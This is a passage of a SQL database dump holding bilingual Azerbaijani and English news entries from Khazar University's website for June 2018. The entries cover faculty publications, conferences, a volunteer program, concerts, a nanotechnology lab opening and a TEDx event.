href=\"http://artkaspi.az/az/bas-acmadim-bu-dunyadan-hamlet-isaxanlinin-ilk-kitabi\">http://artkaspi.az/az/bas-acmadim-bu-dunyadan-hamlet-isaxanlinin-ilk-kitabi</a>.</p>'),(5762,3303,'en','The first book by Hamlet Isakhanli in the project “The first book of a poet”','On June 11, 2018, Artkaspi.az, within the project “The first book of a poet” posted poems and...','<p>On June 11, 2018, <strong><em>Artkaspi.az</em></strong>, within the project “The first book of a poet” posted poems and photos from the book entitled “Contrasts” (2001) by Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees.</p><p>Examples from the first book by Hamlet Isakhanli are available at:</p><p><a href=\"http://artkaspi.az/az/bas-acmadim-bu-dunyadan-hamlet-isaxanlinin-ilk-kitabi\">http://artkaspi.az/az/bas-acmadim-bu-dunyadan-hamlet-isaxanlinin-ilk-kitabi</a>.</p>'),(5763,3304,'az','İqtisadiyyat və menecment fakültəsinin əməkdaşlarının məqaləsi Web of Science indeksli jurnalda','Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekanı Dr. Ceyhun Məmmədov...','<p>Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekanı Dr. Ceyhun Məmmədov, dekan müavini Dr. Şəhriyar Muxtarov və İqtisadiyyat və menecment departamentinin koordinatoru Dr. Elvin Məmmədovun “Maliyyə artımının enerji istehlakına təsiri: Neft zəngini iqtisadiyyatdan məlumatlar” (“<em>The Impact of Financial Development on Energy Consumption: Evidence from an Oil-Rich Economy</em>”) adlı məqaləsi “Energies” jurnalının 2018-ci il 6-cı sayı, 11-ci buraxılışında nəşr edilmişdir. Sözü gedən jurnal “Web of Science” (SCI impakt Faktor: 2,26) və SCOPUS (Citescore 3,11) kimi nüfuzlu məlumat bazalarında indekslənir.</p><p>Məqalədə Azərbaycanda maliyyə inkişafı, iqtisadi artım və enerji istehlakı arasındakı əlaqə kointeqrasiya metodu istifadə edilərək, analiz edilmişdir. Məqalənin nəticələrinə görə, dəyişənlər arasında uzunmüddətli kointeqrasiya əlaqəsi mövcuddur. Bundan əlavə, müəlliflər uzunmüddətli dövrdə maliyyə inkişafı və iqtisadi artımın enerji istehlakına təsirlərinin müsbət və statistik cəhətdən əhəmiyyətli olduğu nəticəsinə gəlmişlər. Tədqiqat nəticələri əsasında, iqtisadi siyasət üzrə qərarvericilər üçün bir sıra təkliflər irəli sürülmüşdür.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.mdpi.com/1996-1073/11/6/1536\">http://www.mdpi.com/1996-1073/11/6/1536</a>.</p>'),(5764,3304,'en','An article of the School of Economics and Management Staff Members in Web of Science Indexed Journal','The research paper “The Impact of Financial Development on Energy Consumption: Evidence from an Oil-Rich Economy...','<p>The research paper “<em>The Impact of Financial Development on Energy Consumption: Evidence from an Oil-Rich Economy</em>” by Dr. Jeyhun Mammadov, dean of the School of Economics and Management, Dr. Shahriyar Mukhtarov, vice dean of the School of Economics and Management, and Dr. Elvin Mammadov, coordinator of the Department of Economics and Management at Khazar University, was published in Energies, No 6, Vol 11, 2018. The journal is indexed by the Science Citation Index Expanded “Web of Science” (SCI Impact Factor: 2.26) and SCOPUS (Citescore 3.11) databases.</p><p>The study investigates the relationship between energy consumption, financial development, and economic growth in an oil-rich economy—Azerbaijan—employing cointegration techniques. The results confirm the existence of a long-run relationship among the variables. Also, authors find that there is a positive and statistically significant impact of financial development and economic growth on energy consumption in the long-run. In this regard, Azerbaijani policymakers and related authorities in similar economies should consider a balanced approach to economic growth, financial development, and energy-related measures policies.</p><p>The paper is available at:</p><p><a href=\"http://www.mdpi.com/1996-1073/11/6/1536\">http://www.mdpi.com/1996-1073/11/6/1536</a>.</p>'),(5771,3308,'az','Könüllük Proqramı başa çatdı','2018-ci il iyunun 8-də cari ilin mayın 1-dən 31-dək davam edən Xəzər Universiteti...','<p>2018-ci il iyunun 8-də cari ilin mayın 1-dən 31-dək davam edən Xəzər Universiteti Karyera Mərkəzində Karyera Sərgisinə hazırlıq müddətində könüllü fəaliyyət göstərən tələbələrin Könüllük Proqramının başa çatması ilə əlaqədar yekun görüş keçirildi.</p><p>Könüllülərlə keçirilən son görüş zamanı tələbələr təəssüratlarını paylaşaraq, belə tədbirlərdə digər tələbələrin də könüllü olaraq iştirak etməsini tövsiyə etdilər.</p><p>Könüllük Proqramında fəal iştirak edən tələbələrə –Toğrul Nəbiyev, Nigar Quliyeva, Aytac Ağayeva, Ziyadxan Tağıyev, Cavid Hüseynli (İqtisadiyyat və menecment fakültəsi); Rəsmin Məsimova (Təhsil fakültəsi); Mustafa Həsənli (Mühəndislik və tətbiqi elmlər fakültəsi) təşəkkür edildi.</p><p>Sonda isə Karyera Mərkəzinin meneceri Səbinə Allahverənova könüllülərə bu müddət ərzində vermiş olduqları əməyə görə onlara öz dərin minnətdarlığını bildirdi və sertifikatlarını təqdim etdi.</p>'),(5772,3308,'en','Voluntariness Program is over','On June 8, 2018, final meeting in connection with the end of Voluntariness Program of the students...','<p>On June 8, 2018, final meeting in connection with the end of Voluntariness Program of the students, which functioned during preparation stage for Career Fair at the Career Center of Khazar University on May 1-31, took place.</p><p>Voluntary students shared their impression at the meeting and recommended other students to join such events as volunteers.</p><p>A special message of gratitude was addressed to active students of Voluntariness Program, Togrul Nabiyev, Nigar Guliyeva, Aytaj Aghayeva, Ziyadkhan Taghiyev, Javid Huseynli (the School of Economics and Management); Rasmin Masimova (the School of Education); Mustafa Hasanli (the School of Engineering and Applied Sciences).</p><p>Sabina Allahveranova, Manager of Career Center, expressed her thanks to the volunteers for their hard work and presented them with certificates.</p>'),(5773,3309,'az','“Tək sağlamlıq” konfransı Rusiya mətbuatında','2018-ci il iyunun 18-də Rusiyanın ветеринария.рф saytı cari ilin iyunun 1-i və 2-də...','<p>2018-ci il iyunun 18-də Rusiyanın <strong><em>ветеринария.рф</em></strong> saytı cari ilin iyunun 1-i və 2-də Xəzər Universitetində keçirilmiş “Tək sağlamlıq” I Beynəlxalq konfransı haqqında material yayınlamışdır.</p><p>Materialı tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://ветеринария.рф/news/rossiyskie-novosti/odno-zdorove-kak-deviz-sotrudnichestva-veterinarnykh-i-meditsinskikh-spetsialistov/\">http://ветеринария.рф/news/rossiyskie-novosti/odno-zdorove-kak-deviz-sotrudnichestva-veterinarnykh-i-meditsinskikh-spetsialistov/</a>.</p>'),(5774,3309,'en','“One Health” conference in Russian media','On June 18, 2018, ветеринария.рф, a Russian website, posted news about “One Health...','<p>On June 18, 2018, <strong><em>ветеринария.рф</em></strong>, a Russian website, posted news about “One Health”, 1<sup>st</sup> International Conference, held on June 1-2 at Khazar University.</p><p>More detailed information is available at:</p><p><a href=\"http://xn--80adjapb7awdo4m.xn--p1ai/news/rossiyskie-novosti/odno-zdorove-kak-deviz-sotrudnichestva-veterinarnykh-i-meditsinskikh-spetsialistov/\">http://ветеринария.рф/news/rossiyskie-novosti/odno-zdorove-kak-deviz-sotrudnichestva-veterinarnykh-i-meditsinskikh-spetsialistov/</a>.<br></p>'),(5775,3310,'az','Xəzər Universitetinin əməkdaşı beynəlxalq konfransda çıxış etdi','2018-ci il iyunun 11-dən 14-dək Xəzər Universiteti Neft-qaz mühəndisliyi departamentinin...','<p>2018-ci il iyunun 11-dən 14-dək Xəzər Universiteti Neft-qaz mühəndisliyi departamentinin müdiri dosent Qəşəm Zeynalov Danimarkanın Kopenhagen şəhərində Avropa Yer alimləri və Mühəndisləri Assosiasiyasının (<em>European Association of Geoscientists and Engineers (EAGE)</em>) 80-ci İllik Konfransında “Şərqi Azərbaycanın struktur-geoloji xüsusiyyətləri və onun qumdaşı laylarının kollektorluq xassələrinə təsiri” mövzusunda məruzə ilə çıxış etmiş və həmin məruzənin genişləndirilimiş məqaləsi “EAGE EathDoc” elektron jurnalında çap olunmuşdur.</p>'),(5776,3310,'en','Khazar University associate participates in an international conference','On June 11-14, 2018, Assoc.Prof. Gasham Zeynalov, Head of the Department of Oil and...','<p>On June 11-14, 2018, Assoc.Prof. Gasham Zeynalov, Head of the Department of Oil and Gaz Engineering of Khazar University, delivered a report on “<em>Structural and geological features of eastern Azerbaijan and its influence on collector properties of sandstone layers</em>” at the 80<sup>th</sup> Annual Conference of European Association of Geoscientists and Engineers (EAGE), held in Copenhagen city, Denmark. The enlarged version of the report was published as an article in “EAGE EathDoc” electronic journal.</p>'),(5777,3311,'az','Tarix və arxeologiya departamenti müəlliminin məqaləsi çap olunub','Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi, siyasi elmlər üzrə fəlsəfə...','<p>Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi, siyasi elmlər üzrə fəlsəfə doktoru, dosent Xaqan Balayevin “Azərbaycan Xalq Cümhuriyyəti və milli hüquqlarımızın bərpası: dövlət dili haqqında ilk sənəd” adlı məqaləsi Qərbi Kaspi Universitetinin Elmi xəbərlər”inin 2018-ci il 1-ci sayında dərc olunub.</p><p>Məqalədə AXC Nazirlər Şurasının 1918-ci il iyunun 27-də qəbul etdiyi “Dövləti lisan türkcə qəbul edilərək, müvəqqətən hökuməti müəssisələrdə rus lisanı istemalına müsaidə edilməsi haqqında” tarixi qərarının yaranma şəraiti və tətbiqi geniş şərh olunur.</p>'),(5778,3311,'en','An article by the instructor of the Department of History and Archaeology published','An article entitled “The Azerbaijan Democratic Republic and restoration of our national rights...','<p>An article entitled “The Azerbaijan Democratic Republic and restoration of our national rights: the first document on the state language” by Assoc.Prof. Khagan Balayev, the instructor of the Department of History and Archaeology of Khazar University, was published in the first issue for 2018 of “Science review” journal of Western Caspian University.</p><p>The article broadly interprets the need for, and application of historical decision \"The adoption of Turkish as the state language and the temporary use of the Russian language in state institutions\" approved by the Council of Ministers of the Azerbaijan Democratic Republic on June 27, 1918.</p>'),(5779,3313,'az','TAIEX ekspertləri Xəzər Universitetində oldular','2018-ci il iyunun 21-də TAIEX ekspertləri Xəzər Universitetinin rəhbərliyi ilə Azərbaycan...','<p>2018-ci il iyunun 21-də TAIEX ekspertləri Xəzər Universitetinin rəhbərliyi ilə Azərbaycan ali təhsil sistemində tədqiqat və innovasiyaların idarə olunması siyasətinin gücləndirilməsi və idarə olunması mövzusunda görüş keçirdi. Görüşdə Rumıniya Siyasi Araşdırmalar və Dövlət İdarə etməsi üzrə Milli Universitetin şöbə müdiri Dr. Mihai Paunescu, Litva Tədris Elmləri Universitetinin Riyaziyyat, informatika və fizika kafedrasının professoru Gintaras Arbutavicius, Xəzər Universitetinin rektoru Dr. Hassan Niknafs, Xəzər Universiteti Tədris işləri üzrə prorektor&nbsp;professor Məhəmməd Nuriyev, Xəzər Universiteti Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Xəzər Universiteti Beynəlxalq Şöbənin direktoru Turan Cəfərova iştirak edirdilər.</p>'),(5780,3313,'en','TAIEX experts visited Khazar University','On June 21, 2018, TAIEX Experts held a meeting with Khazar University...','<p>On June 21, 2018, TAIEX Experts held a meeting with Khazar University administration on Strengthening Policy and Management of the Research and Innovations in Azerbaijani Higher Education system. Dr. Mihai Paunescu, Head of Department, National University of Political Studies and Public Administration; Dr. Gintaras Arbutavicius, Lecturer, Lithuanian University of Educational Sciences, Department of Mathematics, Informatics and Physics; Dr. Hassan Niknafs, Khazar University rector; Professor Mahammad Nuriyev, vice-rector for Academic Affairs of Khazar University; Dr. Eldar Shahgaldiyev, Head of the Division of Graduate Studies and Research of Khazar University, Turan Jafarova, Director of International Office at Khazar University participated in the meeting.</p>'),(5781,3317,'az','PETRA layihəsi çərçivəsində Valensia Politexnik Universitetində görüş','2018-ci il iyunun 18-dən 23-dək Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar...','<p>2018-ci il iyunun 18-dən 23-dək Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Elmi işlər üzrə prorektor dosent İradə Xəlilova, İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova, Təhsil fakültəsinin koordinatoru Qoşqar Məhərrəmov və İngilis dili və ədəbiyyatı departamentinin proqram koordinatoru Milana Abbasova “Azərbaycan universitetlərində tədris və təlimin təkmilləşdirilməsi” adlı ERASMUS+ layihəsi çərçivəsində İspaniyanın Valensia Politexnik Universitetində keçirilən silsilə seminarlarda iştirak etdilər.</p><p>Tədbirdə həm Azərbaycandan (Xəzər Universiteti, Naxçıvan Dövlət Universiteti, Gəncə Dövlət Universiteti, Sumqayıt Dövlət Universiteti, Bakı Slavyan Universiteti, Azərbaycan Dillər Universiteti, Azərbaycan Universiteti, Azərbaycan Respublikası Təhsil Nazirliyi), həm də Avropadan (Debrecen Universiteti (Macarıstan), Jyväskylä Universiteti (Finlandiya), Vyana Tətbiqi Elmlər Universiteti (Avstriya), Qazi Universiteti (Türkiyə) olan tərəfdaş universitetlərin 30-a yaxın nümayəndəsi iştirak etdirdi.</p><p>5 günlük seminarda iştirakçılar Valensia Politexnik Universiteti, universitetdə tədqiqat işləri, tədqiqat işlərinin elektron bazasının yaradılması, istifadəsi və hər kəsə əlçatan olması (Open access), Sakai sistemi haqqında geniş məlumatlar əldə etdilər və test video dərsləri hazırladılar.</p><p>İyunun 22-də tədbir iştirakçıları Valensia Politexnik Universitetində keçirilən 4-cü Beynəlxalq Ali Təhsil konfransına qatıldılar. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı konfransın xüsusi bölməsi kimi təşkil olunmuş PETRA sessiyasının sədri oldu və “Post-kommunist ölkəsi olan Azərbaycanda qloballaşan təhsil” adlı təqdimatla çıxış etdi.</p>'),(5782,3317,'en','A meeting at the Polytechnic University of Valencia within PETRA project','On June 18-23, 2018, Prof. Hamlet Isakhanli, the founder of Khazar University...','<p>On June 18-23, 2018, Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, Irada Khalilova, Vice-rector for Research of Khazar University, Ulkar Bayramova, Project Manager of Center for Development, Goshgar Maharramov, Coordinator of the School of Education, and Milana Abbasova, Program Coordinator of the Department of English Language and Literature, participated in a series of seminars organized at the Polytechnic University of Valencia within ERASMUS+ project “Promoting Excellence in Teaching and Learning in Azerbaijani Universities”.</p><p>Moreover, approximately 30 representatives of partner universities from Azerbaijan (Khazar University, Nakhchivan State University, Ganja State University, Sumgayit State University, Baku Slavic University, Azerbaijan University of Languages, Azerbaijan University, Ministry of Education of the Republic of Azerbaijan) and Europe (University of Debrecen (Hungary), Jyväskylä University (Finland), Vienna University of Applied Sciences (Austria), Gazi University (Turkey) joined the event.</p><p>During a five-day seminar, the participants were enlightened about the Polytechnic University of Valencia, researches conducted at this university, the establishment of an electronic base for researches, Open Access, and Sakai system, and prepared demo video lessons.</p><p>On June 22, the participants joined 4<sup>th</sup> International Conference on Higher Education held at the Polytechnic University of Valencia. Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, chaired PETRA session organized as a special part of the conference, and delivered a presentation entitled “Globalized Education in Azerbaijan, a post-communist country”.</p>'),(5783,3318,'az','Xəzər Universitetinin Kamera orkestri FHN-in tədbirində','2018-ci il iyunun 22-də Fövqəladə Hallar Nazirliyi (FHN) işçilərinin həmkarlar ittifaqı...','<p>2018-ci il iyunun 22-də Fövqəladə Hallar Nazirliyi (FHN) işçilərinin həmkarlar ittifaqı ümummilli lider Heydər Əliyevin anadan olmasının 95 və Azərbaycan Silahlı Qüvvələrinin yaradılmasının 100 illiyi münasibətilə 29 Gəncə Regional Mərkəzində “Ümummilli lider Heydər Əliyev və Silahlı Qüvvələr” mövzusunda elmi-praktiki konfrans keçirib.</p><p>Konfransda Fövqəladə Hallar Nazirliyi işçilərinin həmkarlar ittifaqının rəhbərliyi, Gəncə şəhər idarə və müəssisələrinin rəsmiləri, FHN Gəncə Regional Mərkəzinin əməkdaşları və ictimaiyyət nümayəndələri iştirak ediblər.</p><p>Tədbirdə FHN işçilərinin Həmkarlar İttifaqının sədri Mehman İsmayılov, Gəncə Dövlət Universitetinin professoru, tarix elmlər doktoru Həsənbala Sadıqov və digərləri çıxış edərək, Azərbaycan Xalq Cümhuriyyəti dövründə ordu quruculuğuna geniş nəzər salıblar.</p><p>Tədbir konsert proqramı ilə davam edib. Xəzər Universitetinin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu Zülfiyyə Sadıqovanın rəhbərlik etdiyi universitetin Kamera orkestrinin müşayiəti ilə Xəzər Universitetinin müəllimi, Müslüm Maqomayev adına Dövlət Akademik Filarmoniyasının solisti Məhsəti Cabbarova və Azərbaycan Dövlət Musiqili Teatrının solisti Atəş Qarayevin ifasında Azərbaycan bəstəkarlarının əsərləri səsləndirilib. Konsert proqramına gənc istedadlı musiqiçi Cavad Tağızadə dirijorluq etmişdir.</p>'),(5784,3318,'en','Khazar University Chamber Orchestra at the ceremony of the Ministry of Emergency Situations','On June 22, 2018, the Trade Union of the Ministry of Emergency Situations...','<p>On June 22, 2018, the Trade Union of the Ministry of Emergency Situations (MES) held a scientific and practical conference at Ganja Regional Center entitled “National Leader Heydar Aliyev and Armed Forces”, dedicated to 95th anniversary of the National Leader, Heydar Aliyev, and 100th anniversary of the Armed Forces of Azerbaijan.</p><p>The conference was attended by the administration of the Trade Union of the Ministry of Emergency Situations, officials of enterprises and institutions of Ganja city, staff members of Ganja Regional Center of MES as well as community representatives.</p><p>Mehman Ismayilov, Chair of the Trade Union of MES, Hasanbala Sadigov, Professor and D.Sc. in History at Ganja State University, and others delivered speeches and shed light on army building during the period of the Azerbaijan Democratic Republic.</p><p>A concert program was presented at the ceremony. Mahsati Jabbarova, Instructor of Khazar University and a soloist of State Academic Philharmonic named after Muslim Magomayev, and Atash Garayev, a soloist of Azerbaijan State Musical Theater, sang compositions by Azerbaijan composers with accompaniment of Khazar University Chamber Orchestra guided by Zulfiyya Sadigova, a pianist, an honored teacher, and Head of the Department of Music and Fine Arts of Khazar University.</p>'),(5785,3319,'az','“Dünya” jurnalının yeni nömrəsi çapdan çıxıb','Xəzər Universiteti “Dünya” Təhsil Kompleksinin nəşri olan “Dünya” jurnalının...','<p>Xəzər Universiteti “Dünya” Təhsil Kompleksinin nəşri olan “Dünya” jurnalının 2018-ci il mart nömrəsi (24-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.</p>'),(5786,3319,'en','New issue of “Dunya” journal is published','March issue (number 24) of 2018 for “Dunya” journal, a publication of “Dunya” Education...','<p>March issue (number 24) of 2018 for “Dunya” journal, a publication of “Dunya” Education Complex affiliated with Khazar University, has been published at the Khazar University press.</p>'),(5787,3320,'az','Azərbaycan Yazıçılar Birliyi Xəzər Universitetinin müəlliminə təbrik ünvanlamışdır','2018-ci il iyunun 23-də Azərbaycan Yazıçılar Birliyi (AYB) “Ədəbiyyat qəzeti”ndə...','<p>2018-ci il iyunun 23-də Azərbaycan Yazıçılar Birliyi (AYB) “Ədəbiyyat qəzeti”ndə Xəzər Universitetinin müəllimi şair Qardaşxan Əzizxanlını onun tərcüməçilik və publisistik fəaliyyətini də qeyd etməklə, 60 illik yubileyi münasibətilə təbrik etmişdir. Təbrikdə Q.Əzizxanlının həyat və yaradıcılıq yolu qısaca nəzərdən keçirilir. Qəzet, eyni zamanda, şairin bu günlərdə nəşr edilmiş “İlkim də sən, indim də sən, sonum sən” (İlkimdəsən, indimdəsən, sonumsan”) adlı son şeirlər kitabından poetik nümunələrə yer ayırmışdır:</p><p><a href=\"http://edebiyyatqazeti.az/news/poeziya/1995-qardasxan-ezizxanli\">http://edebiyyatqazeti.az/news/poeziya/1995-qardasxan-ezizxanli</a>.</p><p>“Ədəbiyyat qəzeti”ndə dərc edilmiş şeirləri <em>Manera.az</em> saytı da yayınlamışdır:</p><p><a href=\"http://manera.az/edebiyyat/6687-men-ocaq-dunyadan-qalxan-tustuyem-sherler.html\">http://manera.az/edebiyyat/6687-men-ocaq-dunyadan-qalxan-tustuyem-sherler.html</a>.</p>'),(5788,3320,'en','The Union of Azerbaijani Writers congratulates a Khazar University instructor','On June 23, 2018, the Union of Azerbaijani Writers, in the newspaper “Ədəbiyyat qəzeti\"...','<p>On June 23, 2018, the Union of Azerbaijani Writers, in the newspaper “Ədəbiyyat qəzeti”, congratulated Gardashkhan Azizkhanli, instructor of Khazar University, on the occasion of his 60<sup>th</sup> anniversary, appreciating his translation and publicist activities. The congratulatory message shortly covered G.Azizkhanli’s life and career. The newspaper also spared some room for poems selected from the author’s last book “You are the past, the present and the end of mine”.</p><p><a href=\"http://edebiyyatqazeti.az/news/poeziya/1995-qardasxan-ezizxanli\">http://edebiyyatqazeti.az/news/poeziya/1995-qardasxan-ezizxanli</a>.</p><p><em>Manera.az</em> web site released the poems published in the newspaper “Ədəbiyyat qəzeti”:</p><p><a href=\"http://manera.az/edebiyyat/6687-men-ocaq-dunyadan-qalxan-tustuyem-sherler.html\">http://manera.az/edebiyyat/6687-men-ocaq-dunyadan-qalxan-tustuyem-sherler.html</a>.<br></p>'),(5789,3321,'az','Avrasiya Hasilat Sənayesi Bilik Mərkəzi növbəti təliminə start verdi','2018-ci il iyunun 25-də Xəzər Universitetində Avrasiya Hasilat Sənayesi...','<p>2018-ci il iyunun 25-də Xəzər Universitetində Avrasiya Hasilat Sənayesi Bilik Mərkəzi növbəti təliminə start verdi. Təlim “<em>Təbii sərvətlərlə zəngin ölkələrdə gəlirlərin idarəolunması</em>” mövzusuna həsr edilib. Təlimdə Avrasiya regionunun 6 ölkəsindən, Qazaxıstan, Qırğızıstan, Tacikistan, Monqolustan, Ukrayna və Azərbaycandan 23 nəfər iştirak edir. İştirakçılar hökumət, vətəndaş cəmiyyəti, media və özəl sektoru təmsil edirlər.</p><p>Təlimçilər – Hollandiya Krallığının Leiden Universitetindən Anar Əhmədov, Xəzər Universitetinin və Avrasiya Bilik Mərkəzinin mütəxəssisləridir.</p><p>Təlim 8 gün davam edəcək.</p>'),(5790,3321,'en','The Eurasia Extractive Industries Knowledge Hub starts next training','The Eurasia Extractive Industries Knowledge Hub started the next training...','<p>The Eurasia Extractive Industries Knowledge Hub started the next training on June 25, 2018 at Khazar University. The training is dedicated to “<em>Revenue management in resource-rich countries</em>”. 23 people from 6 countries of Eurasian region –   Kazakhstan, Kyrgyzstan, Tajikistan, Mongolia, Ukraine and Azerbaijan – are participating in the training.</p><p>The participants represent governments, civil societies, media and the private sector.</p>\r\n<p>The training is run by Anar Ahmadov from the University of Leiden in the Netherlands, and experts of Eurasia Knowledge Hub, Khazar University.</p>\r\n<p>The training will run 8 days.</p>'),(5791,3322,'az','Nanotexnologiya laboratoriyası açıldı','Xəzər Universitetinin Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri və əməkdaşlarının...','<p>Xəzər Universitetinin Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri və əməkdaşlarının iştirakı ilə Nanotexnologiya laboratoriyası&nbsp;rəsmi olaraq mikro-nanotexnologiya haqqında seminarla açıldı.</p><p>Seminarda NanoLab-ın üç müxtəlif elmi tədqiqat sahəsi müzakirə olundu. Kimya mühəndisliyi departamentinin elmi işçisi Dr.Rasoul&nbsp;Moradi Nanofiber təkmilləşmiş materiallar haqqında öz yeni tədqiqatını təqdim etdi. Mexanika mühəndisliyi departamentinin elmi işçisi Dr.Mirsadegh&nbsp;Seyedzavvar Nanomayelər haqqında, Mexanika mühəndisliyi departamentinin digər elmi işçisi Dr.Mehdi&nbsp;Kiyasatfar Həyat Bilgisi üçün faydalı olan BioMEMS və Mikromayelər haqqında tədqiqat işlərini təqdim etdilər.</p><p>Tədbirin sonunda Mühəndislik və tətbiqi elmlər fakültəsinin dekanı Dr.Hassan&nbsp;Niknafs Nanolaboratoriyanın əsas məqsəd və vəzifələri, universitetin tədqiqat üçün tələb olunan infrastruktur təminatı siyasəti barəsində çıxış etdi. O, bütün maraqlanan tələbələrə laboratoriyaya qoşulmaq və yeni tədqiqat layihələrində səmərəli və fəal iştirak etməyi tövsiyə etdi.</p>'),(5792,3322,'en','Nanotechnology Lab Opening Ceremony','Recently founded Nanotechnology Laboratory of the Khazar University was officially...','<p>Recently founded Nanotechnology Laboratory of the Khazar University was officially opened through a seminar about Micro-Nanotechnology. This event was held by the participation of students and faculty members of the School of Engineering and Applied Sciences. Three different research fields of the NanoLab were discussed during the seminar. Dr.Rasoul Moradi, a researcher at Chemical Engineering Department, presented his upcoming research works on Nanofiber Advanced Materials. Dr.Mirsadegh Seyedzavvar, a researcher in Mechanical Engineering Department, delivered a presentation on Nanofluids, and Dr.Mehdi Kiyasatfar, another researcher in Mechanical Engineering Department, presented his research interests on BioMEMS and Microfluidics for Life Sciences.</p><p>At the end of the ceremony Prof. Hassan Niknafs, the Acting Dean of the School of Engineering and Applied Sciences, talked about the Nano-laboratory’s main objectives and the university policy to provide the required infrastructure for research. He encouraged all interested students to join the lab by participating effectively in the upcoming research projects.</p>'),(5793,3323,'az','Xəzər Universitetinin müəllimi “Alman dalğası” radiosuna müsahibə verdi','2018-ci il iyunun 24-də məşhur “Alman dalğası” radiosu Azərbaycan haqqında məqalə...','<p>2018-ci il iyunun 24-də məşhur “Alman dalğası” radiosu Azərbaycan haqqında məqalə dərc etmişdir. Məqalədə Azərbaycanın sosial, iqtisadi və ekoloji problemlərindən danışılır.</p><p>Xəzər Universitetinin əməkdaşı Rövşən Abbasov radioya Abşeron yarımadasındakı mövcud neft çirklənməsi haqqında məlumat vermiş, çirklənmə mənbələrinin təsirinin azaldılması yollarından danışmışdır. Eyni zamanda, Rövşən Abbasov Xəzər Universitetinin Ətraf Mühitin Tədqiqi Mərkəzində aparılan tədqiqat işləri haqqında məlumat vermişdir.</p><p>Rövşən Abbasovun müsahibəsini və bütövlükdə məqaləni bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://www.deutschlandfunk.de/aserbaidschan-ein-oel-staat-zwischen-grossen-plaenen-und.724.de.html?dram%3Aarticle_id=413275\">http://www.deutschlandfunk.de/aserbaidschan-ein-oel-staat-zwischen-grossen-plaenen-und.724.de.html?dram%3Aarticle_id=413275</a>.  <br></p>'),(5794,3323,'en','Khazar University instructor gives an interview to “German wave” radio','On June 24, 2018, famous “German wave” radio published an article about Azerbaijan...','<p>On June 24, 2018, famous “German wave” radio published an article about Azerbaijan. The article deals with social, economic, and ecological problems of Azerbaijan.</p><p>Rovshan Abbasov, a Khazar University associate, informed the radio about current oil pollution of the Absheron peninsula as well as the methods of decreasing the impact of sources of pollution. Moreover, Rovshan Abbasov talked about the researches conducted at Khazar University Environmental Research Center.</p><p>Rovshan Abbasov\'s interview and the full article can be accessed via this link:</p><p><a href=\"http://www.deutschlandfunk.de/aserbaidschan-ein-oel-staat-zwischen-grossen-plaenen-und.724.de.html?dram%3Aarticle_id=413275\">http://www.deutschlandfunk.de/aserbaidschan-ein-oel-staat-zwischen-grossen-plaenen-und.724.de.html?dram%3Aarticle_id=413275</a>.&nbsp;</p>'),(5795,3324,'az','Xəzər Universitetində ikinci dəfə TEDxKhazarUniversity keçirildi','2018-ci il iyunun 25-də Xəzər Universitetində ikinci dəfə TEDxKhazarUniversity...','<p>2018-ci il iyunun 25-də Xəzər Universitetində ikinci dəfə TEDxKhazarUniversity keçirildi. Beynəlxalq TED təşkilatının lisenziyası ilə keçirilən bu tədbir Xəzər Universitetində ikinci dəfə qonaq oldu. TEDxKhazarUniversity-nin budəfəki mottosu/şüarı “Ömür boyu sevgi” idi. Bu ümumi başlıq altında 6 məruzəçi –professor İnqilab Əhmədov, dosent İradə Xəlilova, kinorejissor Ayaz Salayev, aktivist Leyla Qasımova, peşəkar kompüter oyunları mütəxəssisi Cəlal Hüseynbəyli bir-birindən maraqlı məruzələr etdilər. Məruzələr yaxın zamanda TED-in platformasında və Youtube kanalında yer alacaq.</p><p>Tədbirdə “Titanik” filmindən mahnı ilə Məhsəti Cabbarova, “Tanqo” rəqsi ilə Zaur Ramazanov və Lenay Seyidalizadə cütlüyü və “Santur” ifası ilə Əli Atəfi çıxış etdilər.</p>'),(5796,3324,'en','Second TEDxKhazarUniversity at Khazar University','On June 25, 2018, second TEDxKhazarUniversity was organized at Khazar University...','<p>On June 25, 2018, second TEDxKhazarUniversity was organized at Khazar University. It was the second time TEDxKhazarUniversity, organized by special license of TED Global, had taken place at Khazar University. The motto of TEDxKhazarUniversity for this time was “Lifelong love”. Under this umbrella title, 6 speakers - Prof. Ingilab Ahmadov, Assoc.Prof. Irada Khalilova, Ayaz Salayev, a film director, Leyla Gasimova, an actress, and Jalal Huseynbayli, a professional computer games expert - delivered interesting speeches. The speeches will be uploaded on TED platform and YouTube channel.</p><p>In the event, Mahsati Jabbarova sang a song from “Titanic” film. Moreover, Zaur Ramazanov and Leyla Seyidova performed “Tango” dance, and Ali Atefi played the “Santur”.</p>'),(5797,3325,'az','Xəzər Universitetinin kamera orkestri Azərbaycan Silahlı Qüvvələrinin 100 illiyinə həsr olunmuş tədbirdə','2018-ci il iyunun 25-də Fövqəladə Hallar Nazirliyi (FHN) işçilərinin həmkarlar ittifaqı ümummilli...','<p>2018-ci il iyunun 25-də Fövqəladə Hallar Nazirliyi (FHN) işçilərinin həmkarlar ittifaqı ümummilli lider Heydər Əliyevin anadan olmasının 95 və Azərbaycan Silahlı Qüvvələrinin yaradılmasının 100 illiyi münasibətilə Gəncə Regional Mərkəzində “Ümummilli lider Heydər Əliyev və Silahlı Qüvvələr” mövzusunda elmi-praktiki konfrans keçirmişdir. Tədbirin bədii hissəsində Xəzər Universitetinin professoru Zülfiyyə Sadıqovanın bədii rəhbərliyi ilə universitetin kamera orkestrinin ifasında Azərbaycan 